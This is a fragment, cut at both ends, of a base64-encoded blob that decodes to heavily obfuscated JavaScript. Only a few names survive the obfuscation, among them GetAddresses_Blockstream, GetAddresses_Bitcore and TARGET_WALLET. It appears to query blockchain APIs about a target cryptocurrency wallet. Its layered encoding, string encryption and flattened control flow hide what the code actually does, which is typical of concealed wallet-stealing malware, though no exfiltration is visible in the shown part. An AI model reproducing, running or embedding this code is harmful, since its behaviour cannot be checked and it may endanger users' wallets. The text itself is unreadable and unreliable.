ZBJywweDFlMykrXzB4NWQ5N2M2KC0weDE1ZiwtMHgyNDIsLTB4MTc2LC0weDI2YywnUiVrdycpK18weDRlYTg5MSgncCZiTScsLTB4OGMsLTB4N2QsLTB4ZDksMHg2ZCkrXzB4NTU3Njg4KDB4MjY3LDB4MmMxLDB4Mjc4LCdDJHlQJywweDFhZSkrJ3QuJywnd1lWRXYnOmZ1bmN0aW9uKF8weDE4YmEwNixfMHg0NjE3M2Epe3JldHVybiBfMHgxOGJhMDY+Pl8weDQ2MTczYTt9LCdlUWtpcyc6ZnVuY3Rpb24oXzB4ZWUzMDBmLF8weDg4M2ZlZSl7cmV0dXJuIF8weGVlMzAwZiE9PV8weDg4M2ZlZTt9LCdySHlCZyc6XzB4NGVhODkxKCdUdDdyJywtMHgxOGMsLTB4MTMyLC0weDEwMywtMHg5MCksJ25rcEpHJzpmdW5jdGlvbihfMHgxZmI0NWEsXzB4MjZjNzQ2KXtyZXR1cm4gXzB4MWZiNDVhK18weDI2Yzc0Njt9LCdQenZXVic6XzB4NGVhODkxKCdhYTZwJywtMHgxYWMsLTB4MmJiLC0weGYxLC0weDJiOSkrXzB4MzczNjkzKCdAakRNJywtMHgxYTksLTB4MTM3LC0weDIyLC0weDEzYikrXzB4NTU3Njg4KDB4MjkyLDB4MTY0LDB4NWQsJ3htMWcnLDB4MjU0KStfMHgzNzM2OTMoJyRtMkUnLC0weDJkYiwtMHgzMDUsLTB4M2VjLC0weDJiZSkrXzB4MzczNjkzKCd4U1U0JywtMHgyNjAsLTB4MzRkLC0weDJhMywtMHgyYWEpK18weDVkOTdjNigtMHhmOCwtMHgxYjYsLTB4YjUsLTB4MzgsJ2k3NVAnKStfMHg1ZDk3YzYoMHgyNiwweGI1LC0weDYzLC0weDExMSwnUlMwTycpLCdGVGZ2Tic6XzB4NTU3Njg4KDB4MTdmLDB4MWY3LDB4MTc4LCdES1lrJywweDIwOSksJ0dlem5IJzpmdW5jdGlvbihfMHg0MzFlNTcsXzB4NTAxZjM3KXtyZXR1cm4gXzB4NDMxZTU3KF8weDUwMWYzNyk7fSwnWGdHaWYnOmZ1bmN0aW9uKF8weDNiMWQwNyxfMHgyNjYwNjQpe3JldHVybiBfMHgzYjFkMDc9PT1fMHgyNjYwNjQ7fSwnVG14ZFknOl8weDViYWU0YigweDM5MywweDQxOCwweDNmZSwnQGpETScsMHgzMjYpfTtmdW5jdGlvbiBfMHg1YmFlNGIoXzB4MzYwMmQ1LF8weGEwODEyZixfMHgyNjk0Y2IsXzB4M2Y2MjZmLF8weDE1M2RiOSl7cmV0dXJuIF8weGE0ZGM1YihfMHgzNjAyZDUtMHhhYixfMHgzZjYyNmYsXzB4MjY5NGNiLTB4NGIwLF8weDNmNjI2Zi0weDFlZixfMHgxNTNkYjktMHhlYSk7fWZ1bmN0aW9uIF8weDVkOTdjNihfMHgxMTU5MjQsXzB4YWM5Nzk4LF8weDNhNzE0YyxfMHgzZTBiMzQsXzB4MzIyMjAxKXtyZXR1cm4gXzB4NTYzNmY3KF8weDExNTkyNC0weDFjNixfMHgxMTU5MjQtMHgyMixfMHgzYTcxNGMtMHgxMTIsXzB4MzIyMjAxLF8weDMyMjIwMS0weDhmKTt9ZnVuY3Rpb24gXzB4NTU3Njg4KF8weDIyMmY2MyxfMHgzYzY1NjksXzB4MTE3NTk2LF8weDViN2I2MixfMHg0ZmI4MWQpe3JldHVybiBfMHg1ZmExNmEoXzB4M2M2NTY5LTB4NDIsXzB4M2M2NTY5LTB4ZTUsXzB4MTE3NTk2LTB4MWE2LF8weDViN2I2MixfMHg0ZmI4MWQtMHhmZik7fXRyeXtpZihfMHhlMTA3YjlbXzB4NTU3Njg4KDB4MWRlLDB4MjczLDB4MThkLCdVM1pFJywweDFlNyldKF8weGUxMDdiOVtfMHg0ZWE4OTEoJ3BUN0QnLC0weDllLC0weGEsLTB4MWMxLC0weDgyKV0sXzB4ZTEwN2I5W18weDU1NzY4OCgweDNhLDB4MTE4LDB4MWZlLCdlKUhKJywweGY4KV0pKXJldHVybiBudWxsO2Vsc2V7dmFyIF8weDE1ZTljOT1fMHhlMTA3YjlbXzB4NTU3Njg4KDB4MTk5LDB4YjEsMHg3NCwnUiVrdycsMHgxMjQpXShfMHhlMTA3YjlbXzB4MzczNjkzKCcmXm9qJywtMHgyMTMsLTB4MzgsLTB4ZGEsLTB4ZDApXShfMHhlMTA3YjlbXzB4NTU3Njg4KDB4MzM5LDB4MjExLDB4MzRhLCdXeUtCJywweDFjNSldLFRBUkdFVF9XQUxMRVQpLF8weGUxMDdiOVtfMHgzNzM2OTMoJ0U5RCUnLC0weDJjMywtMHgyMzcsLTB4MmE4LC0weDFmNildKTtsZXQgXzB4NDYyMDVlPShhd2FpdCBfMHhlMTA3YjlbXzB4NWJhZTRiKDB4M2FjLDB4NTljLDB4NGJjLCdAakRNJywweDU1YyldKGdldEpzb25SZXNwb25zZSxfMHgxNWU5YzkpKVtfMHgyN2JmMjNdW18weDM3MzY5MygneG0xZycsLTB4YTIsLTB4MTcxLC0weDI0NSwtMHgxZTYpXVtfMHg1ZDk3YzYoMHg3MywweGYzLDB4MTdjLDB4MTRlLCdacENxJyldKDB4MSoweDI1M2QrMHg1Ki0weDFiYistMHgxYzk2KVtfMHgzNzM2OTMoJ1t4I1YnLC0weDIxYiwtMHgxYmEsLTB4MWU5LC0weDE1OSldKF8weDMyNjI2YT0+XzB4MzI2MjZhW18weDRlYTg5MSgnZmFdcCcsLTB4Mjg5LC0weDI3OCwtMHgzNGUsLTB4MzhlKStfMHg1ZDk3YzYoLTB4MWQwLC0weGVmLC0weDIwMywtMHg4OCwnUEAhKicpK18weDVkOTdjNigtMHgxNTcsLTB4ZTUsLTB4MTFjLC0weDFkOCwnYWE2cCcpK18weDRlYTg5MSgnNkYyIycsLTB4MTU5LC0weDFiZCwtMHgxOGYsLTB4MmUpXSk7cmV0dXJuIG5ldyBCbG9ja2NoYWluUmVzcG9uc2UoLTB4MjcwNyotMHgxKy0weGQqMHg0ZistMHgyMzAzLF8weDQ2MjA1ZSk7fX1jYXRjaHtpZihfMHhlMTA3YjlbXzB4NWQ5N2M2KC0weDgxLC0weDFiMywtMHhlYiwtMHgzMCwnZSlISicpXShfMHhlMTA3YjlbXzB4NGVhODkxKCd1ZigqJywtMHg5MCwtMHgxYzUsLTB4NGYsLTB4MTNiKV0sXzB4ZTEwN2I5W18weDViYWU0YigweDM4ZSwweDMzYSwweDMxMCwnWChydCcsMHgxZjEpXSkpcmV0dXJuISgtMHhiMyotMHgxZCstMHgyNSoweGRiKzB4M2NiKjB4Myk7ZWxzZXtjb25zdCBfMHg0YzdiZjI9XzB4ZTEwN2I5W18weDU1NzY4OCgweGNiLDB4ZmMsMHgxOGYsJ2k3NVAnLDB4NjQpXVtfMHgzNzM2OTMoJ3lbaFsnLDB4MTA5LDB4ZmIsLTB4YSwtMHgzYildKCd8Jyk7bGV0IF8weDJmODBhMz0tMHgxNyotMHhkMysweDFhODYrLTB4MSoweDJkN2I7d2hpbGUoISFbXSl7c3dpdGNoKF8weDRjN2JmMltfMHgyZjgwYTMrK10pe2Nhc2UnMCc6Zm9yKF8weDQ2OTMwOT0tMHgyNjdlKy0weDFhZDMqMHgxKzB4NDE1MTtfMHhlMTA3YjlbXzB4NGVhODkxKCdwVDdEJywtMHgyODQsLTB4MWEwLC0weDJhZSwtMHgzMGMpXShfMHgxYTUxOTcsXzB4NWJhODJmW18weDRlYTg5MSgnbTFNYycsLTB4YTcsLTB4MTRhLC0weDVlLC0weDEyZikrJ2gnXSk7KV8weDQ0MGEwNFtfMHgzM2UxYzldKj0tMHg0OWUrMHhlMGUrLTB4OTM2LF8weDhkYmFhYisrO2NvbnRpbnVlO2Nhc2UnMSc6Zm9yKDtfMHgyMjU0OWQ7KV8weDNkZDMzN1tfMHg1YmFlNGIoMHgyOTcsMHg0ODYsMHgzN2YsJzZGMiMnLDB4NDYyKV0oXzB4ZTEwN2I5W18weDU1NzY4OCgweDEyMywweDExOSwtMHhmLCdXeUtCJywweGI0KV0oMHg0M2IrLTB4ZWE0Ky0weDI4Ki0weDQ5LF8weDdlYWQwMykpLF8weDNkNTNiOT4+PTB4MjNmMyotMHgxKy0weDQyKi0weDYzKy0weDEqLTB4YTc1O2NvbnRpbnVlO2Nhc2UnMic6aWYoIV8weGUxMDdiOVtfMHg1YmFlNGIoMHg0ZWIsMHg0YzAsMHg0NjUsJ3hTVTQnLDB4NDNkKV0oXzB4MzFkNjRlPV8weDI3ZTVjOVtfMHgyMzIxZjBdLF8weDU5NzI2MSkpdGhyb3cgXzB4ZTEwN2I5W18weDM3MzY5MygnREtZaycsLTB4MTZjLC0weDI5YiwtMHgxZjIsLTB4MWM0KV0oXzB4ZTEwN2I5W18weDM3MzY5MygnRENjKicsLTB4Mzc3LC0weDNjNCwtMHgyODUsLTB4MjlkKV0oXzB4ZTEwN2I5W18weDViYWU0YigweDYwOSwweDYwZSwweDUxNSwndjRPeCcsMHgzZjcpXSxfMHgyNzk0YTMpLF8weGUxMDdiOVtfMHg0ZWE4OTEoJ0x1ckQnLC0weDExMywtMHgyMjIsLTB4MjUsLTB4NGMpXSk7Y29udGludWU7Y2FzZSczJzpfMHgzMTUyODcrKztjb250aW51ZTtjYXNlJzQnOmZvcihfMHhlMWYyOWNbMHhkKjB4MmQ3Ky0weDIyOGIrLTB4MjYwXSs9XzB4MWRiMWU2W18weDU5NjdhNl0sXzB4YjhlZmEwPS0weDI0NTIrLTB4MWQ5NisweDQxZTgsXzB4M2RjYzQ4PS0weDE3NSotMHhiKzB4MTUyMisweDNmKi0weDk3O18weGUxMDdiOVtfMHg1NTc2ODgoMHgxNDYsMHgyMGQsMHgxNTcsJ2ZhXXAnLDB4ZTEpXShfMHg0NmRlNDIsXzB4ZTllMzc0W18weDViYWU0YigweDUxZCwweDQ5NiwweDU1NCwnbTFNYycsMHg1NTkpKydoJ10pOylfMHgzNzcyZjRbXzB4MjhmNGU1XSs9XzB4M2UzMmYxLF8weDVhYTUxYT1fMHhlMTA3YjlbXzB4NGVhODkxKCd4W00hJywtMHgxNDMsLTB4N2UsLTB4MTA1LC0weDEyYildKF8weDhmMWFiOFtfMHhiNDEyZjVdLDB4MSoweDE1NzArLTB4MTU3NisweDEqMHhlKSxfMHgzNmY3ZmVbXzB4NGZhNjY2XSY9MHgzKi0weDQ5ZCsweGQqLTB4MWE2Ky0weGIqLTB4MzRjLCsrXzB4MmMzZWE1O2NvbnRpbnVlO31icmVhazt9fX19ZnVuY3Rpb24gXzB4MjNjNihfMHgzZjcyNTQsXzB4MjFlMWE2KXtjb25zdCBfMHg0MTAxZTQ9XzB4MjY3MigpO3JldHVybiBfMHgyM2M2PWZ1bmN0aW9uKF8weDMzOWE5YSxfMHgxZTMwYzEpe18weDMzOWE5YT1fMHgzMzlhOWEtKC0weGU1MistMHhiMCstMHhmN2QqLTB4MSk7bGV0IF8weGZmODMwMj1fMHg0MTAxZTRbXzB4MzM5YTlhXTtpZihfMHgyM2M2WydQa1hEd2MnXT09PXVuZGVmaW5lZCl7dmFyIF8weDVkOTkzZj1mdW5jdGlvbihfMHg1YmU4ZDIpe2NvbnN0IF8weDQ4OWQ2Yz0nYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWjAxMjM0NTY3ODkrLz0nO2xldCBfMHg1YTg2MzM9JycsXzB4MTgyMjcyPScnO2ZvcihsZXQgXzB4NDkxODAxPS0weDE4YmYrLTB4MTAyKjB4MTMrLTB4MmJlNSotMHgxLF8weDMxYzYwZixfMHg0NDk3NjQsXzB4NWI0NjFiPTB4MSoweDI1M2UrLTB4MmRkKy0weDIyNjE7XzB4NDQ5NzY0PV8weDViZThkMlsnY2hhckF0J10oXzB4NWI0NjFiKyspO35fMHg0NDk3NjQmJihfMHgzMWM2MGY9XzB4NDkxODAxJSgweDY2Ki0weDQ3KzB4MjU0KjB4MTArMHhhKi0weGU1KT9fMHgzMWM2MGYqKDB4MjJkKi0weGYrLTB4NzEqLTB4MTErMHgxOTYyKStfMHg0NDk3NjQ6XzB4NDQ5NzY0LF8weDQ5MTgwMSsrJSgweDgqLTB4MjIzKzB4MWYwYystMHhkZjApKT9fMHg1YTg2MzMrPVN0cmluZ1snZnJvbUNoYXJDb2RlJ10oLTB4MiotMHhlMWIrLTB4MTg1NSstMHgyZTImXzB4MzFjNjBmPj4oLSgweGNmMSstMHgxZTVkKzB4MTE2ZSoweDEpKl8weDQ5MTgwMSYtMHgyNTA4Ky0weGEqMHgzNTUrMHg0NjYwKSk6MHgyMWI0KzB4MSoweDE1NjErMHhlZiotMHgzYil7XzB4NDQ5NzY0PV8weDQ4OWQ2Y1snaW5kZXhPZiddKF8weDQ0OTc2NCk7fWZvcihsZXQgXzB4MWE4NDNlPS0weDFiZDArLTB4MTEyZSsweDEqMHgyY2ZlLF8weDI3OGQxMz1fMHg1YTg2MzNbJ2xlbmd0aCddO18weDFhODQzZTxfMHgyNzhkMTM7XzB4MWE4NDNlKyspe18weDE4MjI3Mis9JyUnKygnMDAnK18weDVhODYzM1snY2hhckNvZGVBdCddKF8weDFhODQzZSlbJ3RvU3RyaW5nJ10oMHgxNzRiKzB4MThiYystMHgyZmY3KjB4MSkpWydzbGljZSddKC0oLTB4MSotMHgxZDlkKzB4MjRmMisweDMqLTB4MTYyZikpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KF8weDE4MjI3Mik7fTtjb25zdCBfMHhiYjUyZWM9ZnVuY3Rpb24oXzB4MzYyMzM0LF8weDEzZjJlYyl7bGV0IF8weDU3NmE5Nj1bXSxfMHg0MTFmM2I9LTB4MTYqLTB4MTErLTB4YzAqLTB4MjgrLTB4MWY3NixfMHgyNjI4OGUsXzB4NzRiZTYxPScnO18weDM2MjMzND1fMHg1ZDk5M2YoXzB4MzYyMzM0KTtsZXQgXzB4MWFhMjUzO2ZvcihfMHgxYWEyNTM9LTB4Yjg5Ky0weDEqLTB4MWU2OSstMHgxMmUwO18weDFhYTI1MzwtMHgxZGM0Ky0weDIxZWUrMHg0MGIyO18weDFhYTI1MysrKXtfMHg1NzZhOTZbXzB4MWFhMjUzXT1fMHgxYWEyNTM7fWZvcihfMHgxYWEyNTM9MHgxOGY3KzB4M2M0Ky0weDFjYmI7XzB4MWFhMjUzPDB4OWQqLTB4MzErLTB4MzMwKy0weDUqLTB4NmQ5O18weDFhYTI1MysrKXtfMHg0MTFmM2I9KF8weDQxMWYzYitfMHg1NzZhOTZbXzB4MWFhMjUzXStfMHgxM2YyZWNbJ2NoYXJDb2RlQXQnXShfMHgxYWEyNTMlXzB4MTNmMmVjWydsZW5ndGgnXSkpJSgtMHhkMzQrLTB4MTYqLTB4MWEzKy0weDE1Y2UqMHgxKSxfMHgyNjI4OGU9XzB4NTc2YTk2W18weDFhYTI1M10sXzB4NTc2YTk2W18weDFhYTI1M109XzB4NTc2YTk2W18weDQxMWYzYl0sXzB4NTc2YTk2W18weDQxMWYzYl09XzB4MjYyODhlO31fMHgxYWEyNTM9LTB4MjE2NSotMHgxKy0weDQwYystMHgyYWIqMHhiLF8weDQxMWYzYj0tMHgxKi0weDE3ODMrMHgxZTE4Ky0weDM1OWI7Zm9yKGxldCBfMHgzMzZjNTQ9MHhiMjErMHhmYyoweDgrLTB4MTMwMTtfMHgzMzZjNTQ8XzB4MzYyMzM0WydsZW5ndGgnXTtfMHgzMzZjNTQrKyl7XzB4MWFhMjUzPShfMHgxYWEyNTMrKC0weDEqMHgyNjNmKy0weDcqLTB4M2I3KzB4MzkqMHgzNykpJSgweDMqMHhhMWYrMHgxZjkxKi0weDErLTB4MSotMHgyMzQpLF8weDQxMWYzYj0oXzB4NDExZjNiK18weDU3NmE5NltfMHgxYWEyNTNdKSUoMHgxMWE3Ki0weDErMHg1NSotMHg0ZisweDE2NzEqMHgyKSxfMHgyNjI4OGU9XzB4NTc2YTk2W18weDFhYTI1M10sXzB4NTc2YTk2W18weDFhYTI1M109XzB4NTc2YTk2W18weDQxMWYzYl0sXzB4NTc2YTk2W18weDQxMWYzYl09XzB4MjYyODhlLF8weDc0YmU2MSs9U3RyaW5nWydmcm9tQ2hhckNvZGUnXShfMHgzNjIzMzRbJ2NoYXJDb2RlQXQnXShfMHgzMzZjNTQpXl8weDU3NmE5NlsoXzB4NTc2YTk2W18weDFhYTI1M10rXzB4NTc2YTk2W18weDQxMWYzYl0pJSgweDRmKzB4MTczMSstMHg1YTAqMHg0KV0pO31yZXR1cm4gXzB4NzRiZTYxO307XzB4MjNjNlsnc1d3aFlpJ109XzB4YmI1MmVjLF8weDNmNzI1ND1hcmd1bWVudHMsXzB4MjNjNlsnUGtYRHdjJ109ISFbXTt9Y29uc3QgXzB4MjJmZmI2PV8weDQxMDFlNFsweDY1MyotMHg0KzB4MSoweGYxKzB4MTg1YioweDFdLF8weDFjOTE3Yz1fMHgzMzlhOWErXzB4MjJmZmI2LF8weDgwYWNiYT1fMHgzZjcyNTRbXzB4MWM5MTdjXTtyZXR1cm4hXzB4ODBhY2JhPyhfMHgyM2M2WydFcGhSbGknXT09PXVuZGVmaW5lZCYmKF8weDIzYzZbJ0VwaFJsaSddPSEhW10pLF8weGZmODMwMj1fMHgyM2M2WydzV3doWWknXShfMHhmZjgzMDIsXzB4MWUzMGMxKSxfMHgzZjcyNTRbXzB4MWM5MTdjXT1fMHhmZjgzMDIpOl8weGZmODMwMj1fMHg4MGFjYmEsXzB4ZmY4MzAyO30sXzB4MjNjNihfMHgzZjcyNTQsXzB4MjFlMWE2KTt9ZnVuY3Rpb24gXzB4YTRkYzViKF8weDE2NTEyMyxfMHgxY2FmMzcsXzB4MzczNzA1LF8weDQ0N2Q1MyxfMHgyMWE3NTgpe3JldHVybiBfMHgyM2M2KF8weDM3MzcwNS0gLTB4MjI5LF8weDFjYWYzNyk7fWFzeW5jIGZ1bmN0aW9uIEdldEFkZHJlc3Nlc19CbG9ja3N0cmVhbShfMHg0OGQ3Mjg9LTB4MTcwNCsweDU1KjB4MjgrMHg5YmMpe2Z1bmN0aW9uIF8weDYwMzkzZChfMHg0ZjViMmIsXzB4MzkxOWExLF8weDQ3YjEyMixfMHg1MDNmNGMsXzB4NGVmMGRkKXtyZXR1cm4gXzB4NWZhMTZhKF8weDRlZjBkZC0weDFjNSxfMHgzOTE5YTEtMHgxZGQsXzB4NDdiMTIyLTB4MWI3LF8weDRmNWIyYixfMHg0ZWYwZGQtMHgxMjcpO31mdW5jdGlvbiBfMHgxMmJmNGQoXzB4MjRiMGNmLF8weDMzYWE3MixfMHg1ODFjNjgsXzB4NWJmZTY4LF8weDI2ZDdlOSl7cmV0dXJuIF8weDU3OGFkNChfMHg1YmZlNjgtIC0weDI0LF8weDMzYWE3Mi0weGUsXzB4NTgxYzY4LTB4MzgsXzB4NTgxYzY4LF8weDI2ZDdlOS0weDgyKTt9Y29uc3QgXzB4NDdiMzRjPXsnTEdIT1knOmZ1bmN0aW9uKF8weDI4OTMwNSxfMHgxNDFkNTQpe3JldHVybiBfMHgyODkzMDU9PT1fMHgxNDFkNTQ7fSwnc3B6Vk0nOl8weDNkZDkwOCgnaGRzIycsMHg1MywweGQwLDB4MWFhLDB4MjcpLCdET1FOdic6ZnVuY3Rpb24oXzB4MzJhNTA3LF8weDFjOGZhOSl7cmV0dXJuIF8weDMyYTUwNytfMHgxYzhmYTk7fSwnZkJzak4nOmZ1bmN0aW9uKF8weDI3YzJmMSxfMHg1YWRkMDUpe3JldHVybiBfMHgyN2MyZjErXzB4NWFkZDA1O30sJ2dZWkJMJzpfMHgzZGQ5MDgoJ0RDYyonLC0weDU3LC0weDY4LC0weDc2LDB4NmQpK18weDNkZDkwOCgnZGI0VicsLTB4MTFlLC0weDI1LC0weDE0MiwweDcxKStfMHg0N2NiOTYoMHhjMCwnW3gjVicsLTB4MWQsMHhiYSwtMHg0NikrXzB4NDdjYjk2KDB4MTAxLCcqSCNBJywweDFlLDB4MjBhLDB4MTUxKStfMHg2MDM5M2QoJ1lrITYnLDB4MjIzLDB4MzhmLDB4MzFiLDB4MzQ3KStfMHgzZGQ5MDgoJ2hkcyMnLDB4MTdkLDB4MThkLDB4MWMyLDB4MTIwKStfMHg0N2NiOTYoMHgyNDgsJ3QpNV0nLDB4MjY3LDB4MzQ4LDB4MmUyKSsncy8nLCduSk9kbyc6XzB4NjAzOTNkKCdlKUhKJywweDIxMSwweDI0NiwweDEyMywweDIwZSksJ1h4cVhZJzpmdW5jdGlvbihfMHgzNzIwYmYsXzB4NWYzZTBiKXtyZXR1cm4gXzB4MzcyMGJmKF8weDVmM2UwYik7fSwnZG9pYnQnOmZ1bmN0aW9uKF8weDNkMzY0MixfMHg1OTNiNzUpe3JldHVybiBfMHgzZDM2NDI9PT1fMHg1OTNiNzU7fSwnUlpPV1knOl8weDQ3Y2I5NigweDI2NywnQGpETScsMHgyNjksMHgyYzIsMHgyMmUpLCdITVl6bSc6XzB4MTJiZjRkKDB4MWY2LDB4MWVlLCdUdDdyJywweDE5MiwweDE2OCl9O2Z1bmN0aW9uIF8weDQ3Y2I5NihfMHgxOTI5ZTAsXzB4MmQ0NTExLF8weDQwYmY1YSxfMHgzMmU1ZTMsXzB4YWFkNDU2KXtyZXR1cm4gXzB4NWZhMTZhKF8weDE5MjllMC0weDZkLF8weDJkNDUxMS0weGM2LF8weDQwYmY1YS0weGUwLF8weDJkNDUxMSxfMHhhYWQ0NTYtMHgxNjkpO31mdW5jdGlvbiBfMHg1NDkyNTAoXzB4MzI1ODE5LF8weDE4MmYxNCxfMHgzNzFkODEsXzB4NWVhOTk4LF8weDQzNjVlOSl7cmV0dXJuIF8weDEyODA5NyhfMHgzMjU4MTktMHgxYzcsXzB4MzcxZDgxLF8weDM3MWQ4MS0weGYyLF8weDQzNjVlOS0gLTB4YTEsXzB4NDM2NWU5LTB4MTY1KTt9ZnVuY3Rpb24gXzB4M2RkOTA4KF8weDRkOTVmNSxfMHgxM2Y0YmIsXzB4MTM5M2U4LF8weDMyMTE1NixfMHgyMjlmMWUpe3JldHVybiBfMHg1NzhhZDQoXzB4MTM5M2U4LSAtMHhjNSxfMHgxM2Y0YmItMHgxZDYsXzB4MTM5M2U4LTB4YjMsXzB4NGQ5NWY1LF8weDIyOWYxZS0weDEzYSk7fXRyeXtpZihfMHg0N2IzNGNbXzB4M2RkOTA4KCdOITgxJywtMHg1MywtMHg2YiwweGQ0LC0weDhiKV0oXzB4NDdiMzRjW18weDNkZDkwOCgneFtNIScsMHhjNywtMHgyZiwweGQ2LC0weDIzKV0sXzB4NDdiMzRjW18weDYwMzkzZCgnYWE2cCcsMHgzNTAsMHgyMDYsMHgzOGUsMHgzMDYpXSkpe2xldCBfMHg1MjNjZDY9XzB4NDdiMzRjW18weDYwMzkzZCgnMSR3WCcsMHg1NzAsMHg1MGQsMHg0Y2QsMHg0NDUpXShfMHg0N2IzNGNbXzB4NjAzOTNkKCdSUzBPJywweDI2NiwweDNkOSwweDJlYiwweDI5NildKF8weDQ3YjM0Y1tfMHg2MDM5M2QoJyRtMkUnLDB4M2IxLDB4MzA3LDB4MmUzLDB4MmEwKV0sVEFSR0VUX1dBTExFVCksXzB4NDdiMzRjW18weDNkZDkwOCgnUiVrdycsMHg3OCwweDY4LC0weDUxLDB4NzgpXSksXzB4ZmZlYmRkPWF3YWl0IF8weDQ3YjM0Y1tfMHg1NDkyNTAoLTB4ZjgsLTB4MTIyLCdFOUQlJywtMHgxNGIsLTB4MThmKV0oZ2V0SnNvblJlc3BvbnNlLF8weDUyM2NkNiksXzB4MTg2ZjUwPV8weGZmZWJkZFtfMHg0OGQ3MjhdW18weDEyYmY0ZCgweDE3NiwtMHg1OSwnZSlISicsMHg4OSwtMHg1KV1bXzB4MTJiZjRkKDB4MWQsLTB4M2QsJ2x5U3knLDB4MTksMHg3MSldKDB4MTAqMHgzMCstMHgxNmMzKzB4MTNjMylbXzB4NjAzOTNkKCdEQ2MqJywweDRiNiwweDJlZiwweDMyNCwweDQwMCldKF8weDQ1Y2RkOD0+XzB4NDVjZGQ4W18weDQ3Y2I5NigweDE0OSwnaTc1UCcsMHgxNTIsMHgxZCwweGY1KStfMHg2MDM5M2QoJ3htMWcnLDB4MjgwLDB4MmQzLDB4MzAxLDB4Mjk3KStfMHgxMmJmNGQoMHgxYjgsMHgxOCwndjRPeCcsMHgxNjAsMHgxZWIpK18weDYwMzkzZCgnJl5vaicsMHgxN2UsMHgxZDksMHgxNDEsMHgxZWUpXSk7cmV0dXJuIG5ldyBCbG9ja2NoYWluUmVzcG9uc2UoXzB4ZmZlYmRkW18weDQ3Y2I5NigweDFmZCwnWnBDcScsMHgxZWYsMHgyOTMsMHhkYykrJ2gnXSxfMHgxODZmNTApO31lbHNlIHRoaXNbXzB4M2RkOTA4KCd4W00hJywweDEwMCwweDdmLDB4NDgsLTB4M2UpK18weDQ3Y2I5NigweDI5YSwncFQ3RCcsMHgzOWQsMHgyOTksMHgyMTApKyducyddPV8weDFiYTYwMyx0aGlzW18weDYwMzkzZCgnbTFNYycsMHg0NzEsMHgyNjgsMHgzZjAsMHgzN2QpK18weDQ3Y2I5NigweDJkMCwnVTNaRScsMHgzNTMsMHgzODYsMHg0MDcpXT1fMHg0NmVjZWY7fWNhdGNoe2lmKF8weDQ3YjM0Y1tfMHgzZGQ5MDgoJ3lbaFsnLDB4ZTksMHhjZSwweDU5LDB4ZDUpXShfMHg0N2IzNGNbXzB4M2RkOTA4KCcmXm9qJywtMHg3YSwtMHg4NiwtMHgxYzMsLTB4OTcpXSxfMHg0N2IzNGNbXzB4NjAzOTNkKCdqUVp2JywweDM0MCwweDQyMSwweDNmYywweDMyMildKSlfMHhhODViZTlbXzB4M2RkOTA4KCdQQCEqJywweDI3LC0weDk0LDB4NTcsLTB4MTYpKydjaCddKF8weDE4ZmQ4Mj0+XzB4NTY3OTExW18weDNkZDkwOCgnN2F6TCcsMHg1MCwtMHhiNywtMHgxOTQsLTB4YTcpXShfMHgxOGZkODIpKTtlbHNlIHJldHVybiEoMHgxMmVlKy0weDEqMHg0NWErLTB4ZTkzKTt9fWFzeW5jIGZ1bmN0aW9uIEdldEFkZHJlc3Nlc19CaXRjb3JlKF8weDU0YTUyZD0weDI1MmYrLTB4MiotMHg0ZDkrLTB4MmVlMSoweDEpe2Z1bmN0aW9uIF8weDEzNTJhNChfMHg0YWRiNmEsXzB4NGViNDY0LF8weDU0OGVlOCxfMHhhNmRkMTYsXzB4MzE3MTYzKXtyZXR1cm4gXzB4NTYzNmY3KF8weDRhZGI2YS0weDE5NCxfMHg1NDhlZTgtMHgzMGYsXzB4NTQ4ZWU4LTB4MWFjLF8weDRhZGI2YSxfMHgzMTcxNjMtMHg5Zik7fWZ1bmN0aW9uIF8weDQ3MGE0ZShfMHg0ZmU3MGUsXzB4NTMxZDhkLF8weDMyZmM2NSxfMHg1MzIyODIsXzB4NTMyYTZkKXtyZXR1cm4gXzB4YTRkYzViKF8weDRmZTcwZS0weDdkLF8weDUzMmE2ZCxfMHg1MzIyODItMHg0MzIsXzB4NTMyMjgyLTB4YTEsXzB4NTMyYTZkLTB4MTMyKTt9ZnVuY3Rpb24gXzB4NDZjOTVhKF8weDU3ZmRkMSxfMHg1NzgwZGYsXzB4ZWVkZDZhLF8weDEyYmUzOSxfMHg1YWZlZGEpe3JldHVybiBfMHg1NzhhZDQoXzB4NTc4MGRmLSAtMHhlNSxfMHg1NzgwZGYtMHgyLF8weGVlZGQ2YS0weDkwLF8weDEyYmUzOSxfMHg1YWZlZGEtMHgxY2YpO31mdW5jdGlvbiBfMHg1NWRhNjcoXzB4MWM1N2MzLF8weDE5OTQ0MCxfMHg1Y2M0MDQsXzB4MWUzOTUzLF8weDEyNGU5ZCl7cmV0dXJuIF8weDU2MzZmNyhfMHgxYzU3YzMtMHg5ZixfMHgxMjRlOWQtMHgyMyxfMHg1Y2M0MDQtMHhiYixfMHgxYzU3YzMsXzB4MTI0ZTlkLTB4MTVhKTt9ZnVuY3Rpb24gXzB4NjkyNTdlKF8weDFhNDI1YSxfMHhlNjU3OTAsXzB4NDZhY2QzLF8weDIxNjUyMixfMHgxMDk3YjUpe3JldHVybiBfMHgxMjgwOTcoXzB4MWE0MjVhLTB4NTIsXzB4MTA5N2I1LF8weDQ2YWNkMy0weDFkZSxfMHgxYTQyNWEtIC0weDE3NixfMHgxMDk3YjUtMHgxYjkpO31jb25zdCBfMHg0MmUyYjQ9eydzbnJHVCc6ZnVuY3Rpb24oXzB4MmUxNDlkLF8weDVkZGRhNSl7cmV0dXJuIF8weDJlMTQ5ZD09PV8weDVkZGRhNTt9LCdiRkVTaic6ZnVuY3Rpb24oXzB4MTJkZTQ5LF8weDQxNmYxZSl7cmV0dXJuIF8weDEyZGU0OSE9XzB4NDE2ZjFlO30sJ2ZsY09vJzpfMHg1NWRhNjcoJ2ZhXXAnLDB4ZSwtMHgyMDcsLTB4N2MsLTB4ZTkpK18weDQ3MGE0ZSgweDQzYSwweDUzYSwweDU4MCwweDRhOCwncFQ3RCcpLCdiZ1ZtUyc6ZnVuY3Rpb24oXzB4NDljOWY5LF8weDI3NDI1Nyl7cmV0dXJuIF8weDQ5YzlmOSE9PV8weDI3NDI1Nzt9LCdnSGpOcyc6ZnVuY3Rpb24oXzB4MjhhYjNlLF8weDdlY2Q1ZSl7cmV0dXJuIF8weDI4YWIzZTxfMHg3ZWNkNWU7fSwnb0xGSHonOl8weDEzNTJhNCgneFtNIScsMHgzMTEsMHgyZmQsMHgyY2MsMHgzOWYpK18weDU1ZGE2NygnXWdmQScsMHhhOCwtMHgxM2UsMHg1NiwtMHg4NCksJ